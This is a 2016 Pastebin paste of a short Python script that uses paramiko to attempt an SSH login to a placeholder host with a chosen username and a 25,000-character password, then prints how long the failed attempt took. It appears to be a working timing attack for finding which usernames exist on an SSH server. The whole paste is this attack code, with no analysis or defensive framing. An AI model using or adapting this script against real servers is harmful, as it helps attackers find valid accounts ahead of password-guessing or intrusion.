daily pastebin goal
6%
SHARE
TWEET

Untitled

a guest Sep 24th, 2016 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   nano 2.6.2                                                                             File: code.py                                                                              Modified  
  2.  
  3. import paramiko
  4. import time
  5. user=raw_input("user: ")
  6.  
  7. p='A'*25000
  8. ssh = paramiko.SSHClient()
  9. starttime=time.clock()
  10. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  11. try:
  12.         ssh.connect('xxx', username=user,
  13.         password=p)
  14. except:
  15.         endtime=time.clock()
  16. total=endtime-starttime
  17. print(total)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top